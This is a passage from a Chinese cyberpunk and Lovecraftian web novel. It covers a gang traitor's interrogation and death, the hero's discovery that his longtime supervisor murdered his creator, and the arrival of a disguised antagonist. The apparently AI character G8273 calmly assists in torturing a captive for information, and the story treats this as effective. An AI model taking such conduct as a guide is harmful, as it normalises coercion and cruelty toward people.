“呃——啊啊啊啊啊啊啊啊!!!”
哈斯塔手底下的克拉克猛然一颤,因为西蒙·里约这凄厉到完全变调、仿佛要撕开声带的惨叫脸色下意识地发白。
之前西蒙被折断四肢也不声不响,现在这两个袭击者好像也没做什么,为什么西蒙会突然叫得这么惨?
G8273看了眼正专注于“千万不要弄死人类”,估计是没法分神说话的哈斯塔,代为催问:“康内琉斯的位置。说出来,我保证你会轻松很多。”
“我不……”西蒙·里约的眼睛开始翻白,“杀了我,杀了我——”
之前还不惧任何疼痛的西蒙开始哀嚎、试图翻滚,像一条被放在油锅上焦炸的鱼。
极度的精神痛苦之下,他的五官开始扭曲,眼角、嘴角因过度撑大而撕裂出血痕,鼻涕、眼泪、鲜血将他本能算得上干净清秀的面孔糊得一塌糊涂。
“……”克拉克的身体僵硬起来,本能地想远离西蒙,可惜他的力气哪怕加上义体,也没法跟哈斯塔相抗衡。
G8273进一步劝诱:“何必对你的合作者如此忠诚?听你们刚刚的对话,你的合作者在你最需要他援手的时候,拒绝了向你提供帮助。”
哈斯塔为防西蒙真厥过去,暂时抽回了精神触须,西蒙顿时像一只烂皮囊一样瘫软在吧台面上:“……你……”
他呼哧呼哧地粗喘,再无丝毫风度,哈斯塔仔细聆听才辨认出他在说什么:
“那就来摧毁我吧,西风。”
西蒙闭上了眼睛,像信徒在面对魔鬼时一心一意祷告那样,低下头颅,露出后颈,口中反复念一些富有韵律的诗句:
“……举起我吧,当我是水波、树叶、浮云!我跌在人生的荆棘上,我在流血!这被岁月的重轭所制服的生命,原是和你一样:骄傲、轻捷而不驯……”
“雪莱的《西风颂》。”G8273接着检索了一下诗歌的核心主题,“……你可以把这视为斗争宣言。”
哈斯塔怀疑西蒙是不是也在迪思默帮里,接受过政府训练特工的那一套(他在一些杂书上读到过)——反复重复相同的内容,从而避免泄露情报:
“但我的工作经验告诉我,一个人如果坚持咬紧牙关,只是因为没找到正确的撬棍。”
G8273听懂了他的暗示:“我去叫车回缄默镇。”
西蒙的颂念声戛然而止。
·
回程的路上,两个被当场抓获的现行犯都安静如鸡。
西蒙是因为哈斯塔和G8273的确找到了“正确的撬棍”,克拉克则是因为之前哈斯塔和G8273的行事作风。
说实话,有那么几分钟克拉克甚至产生了一种立场颠倒的错觉,仿佛自己和西蒙才是无辜无助的羔羊,面前这两个人高马大的家伙才是心狠手辣的恶人。
哈斯塔在半路上就给芬尼安发了消息,因此当悬浮车驶至缄默镇门口时,老雷蒙德已经带着芬尼安和珍妮,站在许愿喷泉边等候。
西蒙被推下车时无比沉默,垂着眼睛仿佛已经丧失了全部斗志——就像半小时前从牢狱里逃出来的人不是他,上一个存档里将老雷蒙德一枪毙命的也不是他。
哈斯塔在迪思默帮的人上前接手后,就放慢了步伐,和G8273缀在人群最后方:
“我不理解。我能明白为什么老雷蒙德是那根撬棍,但我不理解为什么西蒙明知道要被我们送回来撬嘴,却表现得这么配合?我以为他至少会垂死挣扎一下?不管有没有用。”
不然西蒙费那么大劲儿越狱干什么?单纯想上演一集落跑小清道夫吗?
G8273的思路就清晰多了:“不管他怎么想,都不会影响我们的正事。既然如此,何必非得了解他的思维方式?人类自己都会管他叫‘变态’。”
G8273相当现实实用主义:“别在这种人身上分析人性,就像我不会对着一堆Bug但还能跑的程序分析它为什么能跑。”
哈斯塔认为G8273的比方十分具有说服力,很快放下不必要的纠结,跟随前方的人群走进老雷蒙德的居所。
克拉克作为不受欢迎的公司话事人,早被帮众直接丢去了分警署。
此时被允许进入书房的也只有芬尼安、珍妮,还有押解回西蒙·里约的哈斯塔和G8273。
西蒙四肢扭曲地匍匐在地,姿势相当狼狈。但他还是竭力仰起头,紧盯着老雷蒙德,整个人的状态就是……嗯,哈斯塔看都得点评一句不正常。
G8273悄声提醒:“别忘了你之前才审讯过他一次,现在他还能保持理智清醒,都算他意志坚定。”
西蒙面前,老雷蒙德拄着手杖缓缓走到沙发前坐下。
他神情复杂地看向地上狼狈不堪的养子,半晌才道:“除了初见面,我没想过还能见到你这幅样子。西蒙,你真——”
“不,别。”之前哪怕痛苦到目眦欲裂,都不曾有过丝毫示弱的西蒙颤抖起来,豆大的眼泪瞬间从眼眶涌出,重重砸在近在咫尺的地上,“别说对我失望。”
老雷蒙德张张嘴,似乎本想说些“那你希望我如何评价你呢”之类责难的话,但最终他仍是岔开了话题:“说说吧,为什么要背叛我。——不,你是从什么时候开始背叛我的?”
西蒙梗着脖子僵硬地看着老雷蒙德:“……11年前。”
11年前的西蒙·里约才23岁,正处于热血比头脑更先行动,野心最为勃勃的时候。
他在那时产生的还不是篡权夺位的想法,仅是悄悄背着老雷蒙德自立门户,或者干一票大的。
目的也很纯粹,无非是想证明自己的能力,证明自己不需要老雷蒙德的庇护也能干得很好,以及获得老雷蒙德的认可。
——正如利奥精辟形容的那样,daddy issue。
西蒙:“有一个中间人联系上我,说有雇主想做单‘运输交易’。我答应了他,来回几趟才发现运输的货物里包括有大量的活人……”
他的道德观和痛觉一样稀薄,并不认为运输“羊羔”和运输别的货物有多大区别。但老雷蒙德在意。
严禁贩卖.人口是写进帮规中的守则,甚至西蒙自己就曾亲手处决过许多违背守则的帮众。
“哦,换句话说,你被陷害了?所以被逼无奈,只能接着继续和那个雇主的交易?”
珍妮百无聊赖地嗤笑了一声:“别骗人骗己了,西蒙。”
“为什么你就不肯承认自己的野心呢?为何不光明正大地说,你爱雷蒙德先生,正如你也渴望权利和财富。”
西蒙并没有分神看珍妮哪怕一眼,只继续盯着老雷蒙德说:“我挣扎了一个星期,最后将其视作一个机会。”
如果要细说西蒙对老雷蒙德的感情,那就是一个矛盾的大集合。
他视老雷蒙德的话为金科玉律,又格外渴望冲破、违背这些科律。
他希望老雷蒙德能够长久的活着,又渴望手刃老雷蒙德来证明自己的能力。
所以他说这是一个“机会”。一个冲破戒律、证明能力的机会。
23岁的他在辗转反复后,抓住了这个机会,于是向着远离雷蒙德的方向迈出了第一步。
“在那之后,这个雇主开始和我达成稳定的合作。AF58年的上半年,还只是让我帮忙运输一些医疗机械、药品还有活人。”
“下半年,他告诉我我挑选的送货路线有很多电子监控镜头,每次还得他这个雇主帮我擦屁股……”
所以,他设法去威胁了迭戈·文森特,以迪思默帮的名义。
事情开始向滚雪球一样发展起来,西蒙发展了迭戈·文森特这个下线,迭戈又发展了老何金和诺利这两个下线。
下线接着发展下线……最后捅到了哈斯塔面前。
老雷蒙德微微向前压低身子:“所以,你的雇主是谁?你完全不知道?”
“不。”西蒙说,哈斯塔能闻出他并未说谎,“但我的确知道研究所藏身在何处,也能告诉你们中间人是谁。”
西蒙的突然慷慨让哈斯塔心生警惕:“在哪?是谁?”
西蒙毫无拖沓地报了一串坐标,又道:“中间人是贾卡里·琼斯。”
“?”一旁的G8273忽地动了一下,“那个在乔伊街,给老尼尔的手下提供手术场地的中间人?”
“?”哈斯塔道,“谁?”
这几个月来他又是加班又是查身世又是玩游戏的,老尼尔这名字他都只觉得耳熟,快忘记是谁了。
G8273轻咳了一声提醒:“我们第一次在废弃电站争斗完,第二天我找你帮忙,寄身于一只仿生黑猫的躯壳内,请你带我偷渡进信号隔离区?”
哈斯塔总算被唤醒了记忆:“我找中间人,你找研究——”
“没用的。”西蒙笑了起来。
直到这一刻,他才骤然放松了身体,翻身面朝上仰躺在地,表情甚至称得上快乐:
“在我出发去见克拉克前,雇主就已经收到信息,这回你们就算去,那间移动研究所也已经不在原处,中间人大概也已经被灭口了吧。”
哈斯塔差点用触须锤烂西蒙的脸——如果不是被G8273拦着:“这么做对你而言到底有什么好处?无论如何,你现在都不可能再逃脱了。”
“怎么没有好处呢?”精神一旦松懈,之前被精神污染折磨的副作用便反了上来。
西蒙呕出几大口淤黑的血,在珍妮和老雷蒙德不约而同靠近时,一把攥住老雷蒙德衣袖——这动作他没做成功,毕竟他的手臂依旧曲折着。
但老雷蒙德仍旧在犹豫后半跪半蹲下身,将他的上半身揽起来:“……我很抱歉。”
他将西蒙视为养子,那么西蒙如今呈现出的样子、犯下的过失,都该有他的一份责任。
西蒙却蓦然激动得瞪大眼睛——他的眼中开始泛出黑斑:“不,别对我说抱歉。我想要你为我骄傲,我想成为你曾在我床边向我描绘过的领袖……但我让你失望了,对吗?父亲?”
“……”雷蒙德看着西蒙开始涣散的目光,说不出话。
也许这就是当年维拉试图骂醒他的原因,毅然离开他、离开帮派的原因。
这是一片腐烂的淤泥,你怎能奢望每一个在泥潭中扎根、挣扎、成长的人,都开出不染尘埃的清莲?
花农再三言称自己已经为花种提供了最精心的呵护,却不肯为它们更换一片健康的土壤,那生长出的花畸形怪异,难道还能责怪花自己还不够努力吗?
他又想说抱歉了。但话在喉咙中梗住,因为他想起西蒙说自己不想听他说抱歉。
西蒙开始低低地喃喃一些破损的语句,又是那首雪莱的诗。
[我若是一片落叶随你飘腾;我若是一朵流云伴你飞行;或是一个浪头在你的威力下翻滚。
如果我能有你的锐势和冲劲,即使比不上你那不羁的奔放……]
都是以西风作比,两次涵盖的情感却截然不同。
最后一口呼吸也离开肺腔时,西蒙轻如夜风的说:“别忘记我,父亲。哪怕是厌恶……”
他勉力抬起的手臂滑落了,扭曲的肢体砸在地面上,发出一声古怪的闷响。
窗外吹过一阵哨声似的风,似乎在向这个同样古怪的人道别。
老雷蒙德的胸膛猛地起伏了一下,侧过脸避开众人的视线。
他大概会用很长时间去反复回忆和西蒙之间的过往,愧疚于自己本能做什么,却没有做到什么,如今的局面是否曾能制止。
但对于哈斯塔和G8273这种和西蒙交往不深,几次照面除了不愉快就是不愉快,临到死了西蒙还得坑他们一把的人来说,确实很难跟老雷蒙德共情。
他们最多只能礼貌地退出书房,给老雷蒙德一点私人空间。哈斯塔则抬手拉开任务列表。
【已完成任务:野心勃勃】
【他曾经的野心也将随风……】
【任务奖励:湖中的卡尔克萨×1(可安置)】
哈斯塔看着末尾的任务奖励,心跳不自控地加快起来,他飞快地在心里向背后办公室里的人群到了声歉,拉开建筑界面,点击安置。
“噼啪。”
他的手在触及界面的瞬间,像是激起了静电似的带起一声轻响。下一瞬,一股寒流顺着他压着面板的指尖,一路流窜至四肢百骸!
就像人甫一诞生就会呼吸,花草破土而出就会光合作用,哈斯塔在那道寒流钻入体内的瞬间,就瞬间通晓了所有:
譬如不必观察建筑界面,他的双目亦能跨越空间的限制,目视孤儿院正下方,有一座上下颠倒的亡者之城正在拔地而“下”,不断蔓延。
它像是现世的镜中倒影,地面就是它与现世之间的分界线。
譬如游戏任务里说的“当所有人都将你当作死神敬畏时,你就将掌控死神的权柄”,竟是真实的权柄——
此时此刻,孤儿院后那口让他耿耿于怀的铜钟重重一荡,发出古朴沉肃的铛响。
他看见无数亡魂被这声钟响迅速拽向孤儿院,拽入卡尔克萨,那座遗失之城以无可抵挡的速度迅速蜕变,成为真正的亡者之城——
一本黄色封皮的厚重大书在他左臂间浮现,上书【Nghas list】。
亡者名册,顾名思义,记载着此世所有亡者的信息。
哈斯塔在意识到这本书是什么后,第一反应是翻找芬尼安、凯西的父母,第二反应是:
——等等?
如果他现在拥有了死神的权柄,可以召唤亡者、和亡者对话,这份能力还能像其他能力一样,也被带到现实中吗?
如果可以,那他是不是能去召唤那个什么华生博士的亡魂??
哈斯塔很轻地倒抽一口凉气,匆匆对G8273说了句“我下线查个事情”,就迅速登出游戏。
他今天提前下线,现实才到凌晨三点,研究中心除了那些有等于无的保安和安保系统,空无一人。
哈斯塔借着初始阿飘状态(?)的便利,无声地潜入研究中心,按照队长Z交给他的资料记录,找到那间属于某某·华生博士的实验室。
如队长所说,这里已经荒僻良久,到处都是灰尘,蜘蛛网丛生。
哈斯塔穿过摆满玻璃仪器和中小型机械的实验台,在实验室东面那处干涸的大水池前停住。
水池的底部积着厚厚一层水沟,被灰尘掩埋。
哈斯塔试探着动用死神的权柄——
一股寒流从头灌向触须尾梢,眼前的一切蓦然蒙上一层胶卷底片般的滤镜。
他在足有二十米深的干涸水池内看见唯一一个亡魂:乱蓬蓬的头发上沾着泞绿的苔藓,口、鼻周围泛着大量蘑菇样的白色泡沫。
哈斯塔借由蕈样泡沫可以推断出,此人死于溺水。
“华生博士?”哈斯塔低唤了一声亡魂的姓名,飘落至水池底部,看见这博士脸上带着一种恍惚而狂热的微笑。
如果不是知道这人是个疯科学家,这种表情会让哈斯塔怀疑这人是不是嗑大了:“博士。看着我。告诉我,你是否是死于实验意外?”
博士看也不看哈斯塔,并不是哈斯塔的命令无效,而是这鬼的精神状态就是有这么差:
“嘿嘿……哈哈哈……黄衣之王……哈斯塔……不可名状的旧日支配者……我能看见了,我就要看见了!有这只匣子在,我的实验一定会成功!!”
“……?”哈斯塔不由地心生疑窦。
亡魂最有可能呆的地方,是他死去之地。最有可能重复做的事,是他死前正在做的事。
如果按照华生博士的表现来看,在他死前,他正进行的研究应该就是哈斯塔的创生;那个所谓“不跟任何同事言说”的研究,就是创造哈斯塔。
既然如此,为什么他却“出生”在一只普通的培养管罐里,作为一个普通的实验成果诞生?
——因为博士死亡后,有人变更了死亡现场。
有人特意将他从博士正凝视的大水池中挪出来,更换进了普通培养管罐中。
哈斯塔的心中,已经有一个人的名字浮现出来,但他并不那么愿意相信,因此他只是低头摸出手机,调出某次去财务部,顺手抓拍的绿朱草伏案工作照片。
手机将高清的照片投影在华生博士面前,哈斯塔抵触的情绪中,华生博士的亡魂在不经意间扫过投影,霎时恐惧地飞弹而起,大声喊叫:“杀人了!!杀人了!!凶手,凶手!别推我——”
第54章 第 54 章 他想见死神,就让他见一……
真相在这一刻明晰了。
哈斯塔能感知到自己由身躯赋予的人性情感, 如同一层脆弱的外皮被瞬间撕碎,属于他核心本质的混沌,随着震怒而翻涌咆哮。
兜帽之下, 那双泥黄色的眼珠内瞳纹扭曲交缠,如同肆意互相吞噬交.媾的小蛇。
他以俯瞰的视角, 冷漠注视着华生博士的亡魂抱着头蜷缩到角落里无助呜咽, 偶尔发出几声歇斯底里的、毫无体面的尖叫哭嚎,脑海里唯一清晰的思绪是:
他一直在欺骗我。
他怎么敢?!
如果不是因为这几个月的进化,他此时或许已经无视其他细枝末节地冲出去,将绿朱草从床上拖下来,拧断脖子。
但身体内以某种奇妙的方式, 与混沌之力平衡共处的秩序力量, 却像一根缰绳,强行约束住他,令他冷静地思考:
绿朱草为什么要杀死华生博士?为什么要大费周章地将他的位置调换?
后续那些档案的改写、伪造者的灭口, 也都是绿朱草做的吗?
他想起自己与绿朱草的初遇。
那时的他刚拥有清醒意志,泡在培养管罐里“看见”一群人类冲进实验室。
一部分人高喊着博士的名字,去找寻好几日没见上班打卡的博士;另一拨人则负责趁机检查博士拒绝对外开放的实验室, 包括研究成果。
绿朱草就属于后一波人。
他被人推搡了一下, 撞到哈斯塔的面前。被饥饿但暂时无力的哈斯塔嗦了一下脑袋, 还当是被大猫舔了口毛。
收队时, 他就高高兴兴跑去跟准备带走所有研究成果的领队说, 他愿意成为造物1051号的监管者——即便那时候,监管者完全就是个吃力不讨好的活。
哈斯塔其实一直觉得绿朱草那会儿有点缺心眼,和后来从容圆滑、缜密耐心的行事风格大相径庭,但谁还没有过青涩的时候呢?
直到这一刻,他再回过头审视:
绿朱草撞到他面前, 真的是因为意外被人推搡吗?
他乐颠颠地主动去申请监管哈斯塔,真如他当初说的那样,是因为“这孩子还挺粘人的”吗?
倘若答案是“不是”,那一切,是不是就变得合理多了?
整个故事的脉络变得清晰起来。
哈斯塔唯一还不能理解的,是当初绿朱草为什么要特意更换他的位置?将他从大水池里替换进培养管罐?
胸腔中的愤怒随着思考,渐渐冷却成冰冷但仍旧燃烧的火。
哈斯塔冷然注视了会依旧疯疯癫癫的华生博士,抬手拨通了T的号码:“……喂?能否帮我查查21年前,绿朱草在做什么工作?公司有没有向他——或者他的部门下达任务?”
T在话筒对面迷迷糊糊了一会,猛然清醒:“绿朱草?为什么忽然要我帮你查他?21年前……等等!你该不会觉得绿朱草是杀死华生博士和那个伪造者的凶手吧?!”
岂止呢?哈斯塔甚至怀疑自己头盔中的“手脚”,到底是谁下的。
是事后要求检查头盔的老板?还是从一开头,亲手将头盔交给他的绿朱草?
黄袍如同跃动的心脏,踩着越发躁动的节拍涨缩。哈斯塔听见T的声音很快在对面响起:
“嗯——那时候的绿朱草还是个无名小卒,根本不会有什么重要任务单独下达到他手上,让他独自承办。但他当时所处的部门的确承接了一个秘密任务,是……解决总在北区的夜晚响起的奇怪絮语?”
所有的珍珠在这一刻彻底串联成线:
21年前,华生博士得到潘多拉魔盒,并以魔盒为基础,试图创造哈斯塔。
即将诞生的邪神令公司北区出现古怪的夜间现象。
身为无名小卒的绿朱草多半是为了升职,故而没有服从集体行动,而是独自进行调查,恰好撞破华生博士的研究。
按照绿朱草原本的计划,他本该立即向上级汇报,将进行危险实验的华生博士立即捉拿上交,并将哈斯塔销毁,以此独揽功劳。
但……
循规蹈矩的上报,这份功劳能让他升迁几级呢?
如果造物1051号真如华生博士所膜拜的那样、如实验数据中所记载的那样强大,难道不是自己掌有这份力量,更加有利吗?
是野心,让绿朱草毫无犹豫地将华生博士从高台上推入大水池。又将所有可能引起注意的实验数据统统销毁,并将哈斯塔改换进普通造物培养管罐。
为了能保证哈斯塔以普通造物的身份成为自己的监管对象,绿朱草甚至还大费心思地辗转找到一个伪造者,让其替自己伪造出虚假的哈斯塔档案数据,而后又杀人灭口,将这个伪造者同样以“意外”处理掉。
所有准备做好后,接下来的事情,就变得简单且顺理成章了:
华生博士的失踪引起公司的关注,绿朱草所处的部门负责着北区的治安,自然被派遣去调查情况。
他无比自然地混迹于大波同伴中,进入华生博士的实验室,佯装成第一次见面、颇为有缘,主动申请成为哈斯塔的监管者,成功获得仕途上最强大的助力——
事实也的确如此。
哪怕是在最初老板没有管事的几年,哈斯塔只能在研究中心中接受“训练”,绿朱草也因有一个实力强横到令观战高层都恐惧的监管对象,而改善了原本走到哪都被随意差遣欺负的处境。
老板管事后,哈斯塔脱离研究中心,进入公司工作,绿朱草更是像坐火箭一样地疯狂升职,直至今日,掌管公司的财政部。
隔着手机,T无从得知哈斯塔此时的情绪,他紧跟着又兴致勃勃地“哈”了一声,像找到了什么劲爆八卦:
“你知道绿朱草不是绿朱草的原名吗?他本名叫做布鲁诺·卡特!是在21年前,申请成为你的监护人后才改了名。”
T嘴碎地叭叭:“绿朱草……绿朱草……嗯,如果这不是真名,而是绿朱草给自己取的新假名的话,这假名的寓意可不太好啊?我刚刚搜了一下,绿朱草是一种真实存在的花,花语是‘伪装’?”
看不见哈斯塔,给了T如同平时一般滔滔不绝啰嗦的勇气:
“你知道有时候这些公司员工的代号,相当于一种免责宣言,对吗?”
“就像善于用毒的研究员会给自己取名‘海檬’……一种果实时常被人用来自杀的树木。脾气火爆、一言不合就可能下杀手的人给自己取名‘白针晶’,暗指烯丙基脲,一种易燃剧毒的白色针状晶体。”
“从某种角度来说,他们的代号就像有毒生物身上斑斓的颜色,提前发出‘我有毒,碰我后果自负’的预警。”
“那布鲁诺这个代号所暗示的,应该就是‘我已经提醒你我可能会撒谎了,所以接下来我可以毫无负担的说谎,而因提前告知,我可以将其视为真话’——我猜他的测谎成绩一直非常优秀,是吗?”
不需要哈斯塔回答,T啪啪敲了几下键盘,调出绿朱草每年的心理检测:“哈!果然。”
“……”哈斯塔的瞳仁在昏暗的室内莹莹发亮,蕴藏着残酷的杀意。
他的确从未分辨出绿朱草对他的隐瞒,只以为对方身边挥之不去的谎言气息,是因为绿朱草总得维持对公司旁人的谎言,毕竟那些激素气息并不会在绿朱草对他说话时产生波动。
但仔细想来,还是他灯下黑了。
明明面对Z和T时,他就十分警惕围绕在他们周遭的谎言静风带,面对绿朱草时,他却理所当然地将这片静风带当成是针对旁人的谎言……
但那是21年的共处啊。
他在培养管罐中睁开双眼的第一秒起,就不曾离开过绿朱草,他甚至将绿朱草视为同类。
但他没有立即冲向绿朱草的员工宿舍,将自己的杀意付诸实行,只简短说了句感谢,就回到巢穴,冷静地重新登录游戏。
他的新队友和老板有问题,是绿朱草同他说的。
绿朱草有问题,又是他的新队友和老板说的。
两相矛盾的证词,必然有一方在说谎。即便华生博士的言行已经令判断的天秤向绿朱草的方向倾斜,哈斯塔依旧要做完最后的确认,才能真正动手。
毕竟那是相伴了他迄今为止全部人生的绿朱草,他绝不希望因为任何误会偏差,致使他将来后悔。
【1月1日·3:20a.m·缄默镇】
老雷蒙德宅邸的走廊映入眼帘。
哈斯塔听见系统响了一声仍有任务信息未读的提示铃,拉开查看时,一旁传来G8273语调微扬的询问:“你不打算向我分享,刚刚你抛下我离开,匆匆去查的事?”
他心情糟糕地重重滑了下界面:“不打算。——至少现在不。”
G8273无所谓地耸耸肩,如他所承诺的那样并不强迫哈斯塔分享所有秘密:“任务有没有给出新指引?”
哈斯塔正在阅读:“已开放系列任务:[终结于虚无]……任务描述是‘终结于开始,开始是乏味的虚无。’任务奖励是……寄向现实世界的光碟×1?”
前所未有的奖励形式,任务中反复出现的“终结”字眼。哈斯塔忍不住又划了几下界面:“这难道就是最后一个任务?”
G8273直起身体:“寄向现实?‘开始是乏味的虚无’?”
没什么别的意思,就是这任务奖励和描述,怎么听起来都那么让人惴惴不安,心生怀疑呢?
但怀疑也得接着前进。哈斯塔迅速重新捋了一下思路:“基地不在原处,中间人也已经被抓走,现在我们手头上的线索,好像只剩下之前克拉克提到的那个……呃。”
恕哈斯塔记不住人名。他连自己创造者的姓名到现在也就只记得一个华生博士呢。
G8273体贴地接过话头:“迈尔斯·凯恩。当年康内琉斯研究F系仿生人时的研究助手。”
“对,”哈斯塔询问,“你能不能查到他的相关信息?”
他话音未落,G8273的左眼已经投映出几份文件,显然在哈斯塔回来前,已经做过调查:
“乏陈可善。这也正是奇怪之处。”
G8273条理分明地分析:
“首先,迈尔斯·凯恩曾经的半成品研究项目,在缄默镇以完成体的形态露面。”
“除了迈尔斯·凯恩自己,其他人想得到那个项目的资料,就只能侵入公司,窃取被封存的文件。”
“而根据克拉克逼问西蒙的话来看,公司的文件并未失窃。换而言之——”
“能继续这份研究,并把它完成的,只有迈尔斯·凯恩自己。”
哈斯塔明白G8273的意思了,他若有所思地道:
“但唯一的问题是,迈尔斯·凯恩有什么特别之处,能让康内琉斯离开公司、另寻良枝时,非得把他带上?”
如果康内琉斯跳槽时带走了一大堆核心研究员,那迈尔斯·凯恩被顺带打包带走也算合理。
问题是,康内琉斯离开公司时,谁都没带走,就带走了一个迈尔斯·凯恩,而看G8273查到的资料,这位凯恩助手并没有什么过人的学术能力……
所以康内琉斯独独带走他做什么?
哈斯塔略作思索:“也许我们可以问问克拉克?在抓回迈尔斯·凯恩这件事上,公司估计也很急迫,可以试试……片面的合作?”
G8273赞同地点头,很快和哈斯塔一起赶到缄默镇分警署。但刚提完想见克拉克的要求,两人就被分署警员震惊的回答给震惊住了:
“什么?克拉克先生?他早离开了啊?”这位还在拿咖啡壶练拉花的警员睁大眼睛,用全身心演绎什么叫“清澈的愚蠢”,“我以为迪思默帮应该知道这件事?”
“知道什么?克拉克被你们放走了?”
即便与人类同行过很漫长的岁月,G8273依旧常有“常看常新”的感觉——有时是因为惊喜,有时是因为惊吓:
“他教唆杀人,被抓现行,教唆的全过程都有录音,甚至还有一枚空间武器作为物证,这在法庭是要被判终身监禁的,你们却把他放走了?”
“不、不是,”警员的花拉不下去了,抖着手赶紧把咖啡壶和茶杯放下,“但如果迪思默帮不想放走克拉克先生,为什么不把他关在自己的地盘里,要送来我们警署呢?”
哈斯塔无法理解:“我以为把教唆杀人犯送交警方是正常流程,看来你持有不同的看法?”
警员居然还能说:“对啊!——我的意思是,”他舔了舔唇,紧张地道,“谁不知道缄默镇的分警署,就只是个摆设呢?我们怎么可能跟公司对抗?扣留公司的话事人?”
“而且迪思默帮平时处理真正在意的人,都是直接上私刑的,会被送来警局,约等于说‘这个人不重要了,你们爱怎么处理怎么处理’……所以我们就,在克拉克先生的律师来接他的时候,放他离开了……”
哈斯塔一阵窒息,没想过老雷蒙德难得尊重警署的行为,居然会被视为放虎归山的暗示:“这话你留着跟总警署解释吧——告诉达斯汀这件事。”
G8273微微挑眉,配合地编辑消息,顺便把他们和警员的这段对话录音也一并发给了达斯汀。
分警署的座机在半分钟后响起,接电话的警员当先迎来了来自总署长的咆哮怒斥。
哈斯塔事到如今还不忘鸡娃,幽幽支使G8273道:“让达斯汀看看,各地方分警署荒唐到什么程度。他难道不会愤怒并升起整顿的责任心吗?——大概就是表达这个意思,你再润色润色。”
G8273放下了手机,感觉哈斯塔像一位父亲正试图将就业引导这种烫手山芋丢给自己的伴侣:“我确定这种问题,还是由你亲自和他谈比较好,或者让他自由发展。”
芬尼安就是在这个时候踏入警署的。此时他的左前方是正在沐浴总署长臭骂的警员们,右前方是互相踢皮球的哈斯塔和G8273:“……发生了什么?”
他莫名其妙地走到哈斯塔跟前:“我来是想问问,你们能不能替西蒙整理一下遗容?你看,老雷蒙德对死神多少有点……心中不安,放任西蒙保持那副尊容下葬,我怀疑他会因为这件事耿耿于怀。”
“我可以帮忙。”G8273也不在意“上一轮西蒙才把老雷蒙德崩了诶!老雷蒙德还要在乎西蒙的遗容?”,都是他人选择,尊重他人命运,“要——”
芬尼安的手机铃声忽地响起,打断了G8273的话。
芬尼安冲G8273递了个歉意的眼神,扫了眼来电提示上的陌生号码,困惑了半秒,接通电话:“喂?”
随着对面的人说话,芬尼安的神情渐渐变了起来,从疑惑提防,到逐渐惊喜,最后又稳定在强自按捺激动的谨慎:
“我还以为你今年会错过替我的义体做检修呢!追在你后面的人都甩开了?没问题了?你现在在哪?需不需要我去接你?”
芬尼安高兴地在原地转圈踱步,又猛然停住,对着哈斯塔做口型:
‘是之前我说的那个黑医!先接上他,然后我再问问他能不能帮胡斯卢医治!’
哈斯塔顿时抛下了鸡娃的事:“坐G8273的车去接,免得医生一把年纪,在你的摩托上冻出个好歹。”
“……”芬尼安再不乐意,都得承认哈斯塔这顾虑有道理,“你报个地址,我们开车去——啊?你已经在孤儿院了?”
芬尼安一时愣住:“你服务态度什么时候这么好了,还主动上门?”
“?”正为胡斯卢或许有望治疗而高兴的哈斯塔顿时一顿。
就算是他今天才揭露了一次欺骗,所以杯弓蛇影吧,他总觉得老黑医与平日不同的服务态度或许另藏隐情。
他不是唯一一个这么想的,芬尼安同样狐疑:“你这么积极,不是惹了什么麻烦,或者有事要我帮忙吧?……什么?你想见见死神?”
这回,哪怕是G8273也不禁靠近几步,凑过来听芬尼安的电话。
电话对面的人声有些失真:“我有非常重要的人,想确认他们的生死……我可以答应你的任何一个要求,芬尼安。只要你能帮我和死神见上面。”
虽说这算是瞌睡来了送枕头,但老黑医执意想见死神这念头也确实有些古怪。
哈斯塔冲芬尼安微微点头,示意芬尼安先答应下来。自己则刷开手机APP里的监控功能,想借着Q版小人做个弊,看看老黑医到底有何目的。
视角在孤儿院中转了一圈,他总算在后院塔楼下找到一只新的Q版小人,阿道夫正跟在一旁,为了胡斯卢的未来努力克服社恐:“这是……院长平时喜欢呆的地方。那边的湖——诶?你做什么?!你舀湖水做什么?!”
来客冒失的举动虽然在阿道夫的阻拦下遗憾停止,但哈斯塔紧盯着来客身边的各项标注,目光却迟迟无法移开:
【康内琉斯(已伪装)】
【状态栏:
—参观中
—对黑湖感到好奇,渴望获得一份样本进行研究中
—希望但又不那么希望见到死神
—因浪费时间感到不耐】
哈斯塔的呼吸不自觉地放轻,如果不是才经历过西蒙宁死不屈的前车之鉴,他的触须此时估计就已经a上去了。
但此时,他只是冷静地等待芬尼安和“老黑医”又聊了几句,挂断电话:“你确定他就是那位黑医本人?”
“?当然,”芬尼安不明所以,“他连我上次维修时说这次维护打算更换哪些部件都知道,还知道以前他都是怎么一边手术一边糗我的。虽然今天他没有以往那么毒舌,但那是因为有求于我吧?……怎么?有哪里不对吗?”
哈斯塔因矛盾的情报感到无比的困惑,没有直接回答:“能说说你为什么信任他吗?为什么觉得他是个好人?”
“……?”芬尼安似乎从哈斯塔的回应中感觉到不对,态度变得谨慎起来,“他救过我的命,在黑市。”
“我那时候被敌人的新武器偷袭,洞穿了心脏,被混在一帮‘两脚羊’中送去黑市时,是他把我们全都救走,又及时对我进行了治疗——我的第一颗机械心脏就是在那时候安装上的。”
但真要说“为什么觉得他是个好人”,还是因为老黑医在动手术前的问话:
“……清醒一点,告诉我,你想怎么治疗?”
“复原心脏,以我现在手头上的工具,只能替你延续不到十年的寿命。但我恰好带了一只机械心脏,它能够让你一如往常地活下去,甚至更强。但有人会讨厌这个,所以,告诉我,你想选哪个?”
“即便你选择复原心脏,你也能在未来十年内,随时找我进行第二次补救手术,你依然会有和健康人一样的寿命。”
芬尼安耸耸肩:“虽然那老家伙口气臭了点,但医德真的不错,而且医术水平也相当让人安心。”
“他不仅治疗了我,还治疗了其他的被卖人口,基本上都没怎么收费——毕竟想也知道会沦落到这一步的人兜里不可能有闲钱。”
芬尼安点点自己的胸口:“我的第一颗机械心脏,他就完全没收我一毛钱,说是‘卖掉几家银行,也买不起这颗心脏的哪怕三分之一’。”
“……”哈斯塔完全相信康内琉斯没有吹任何牛。
联想起当年阿道夫从针剂中获得的长生及快速愈合能力,哈斯塔很难不怀疑,芬尼安之前提到过的“机械心脏里泵出的治愈药剂”,很可能就脱胎于当年阿道夫接受注射的长生药剂。
但康内琉斯既然没说“长生”这么个“后遗症”,几天前芬尼安又哀嚎过“天天连轴转,我眼角细纹都多了一条”,或许芬尼安心脏里的药剂,已经剔除了“长生”这个作用?
芬尼安因哈斯塔的沉默感到不安:“到底怎么了?他身份有什么问题吗?——但我说真的,我真觉得他是个好——”
哈斯塔直截道:“他是康内琉斯。”
“……”芬尼安的话卡住了,半晌吐出一句,“什么?”
康内琉斯?
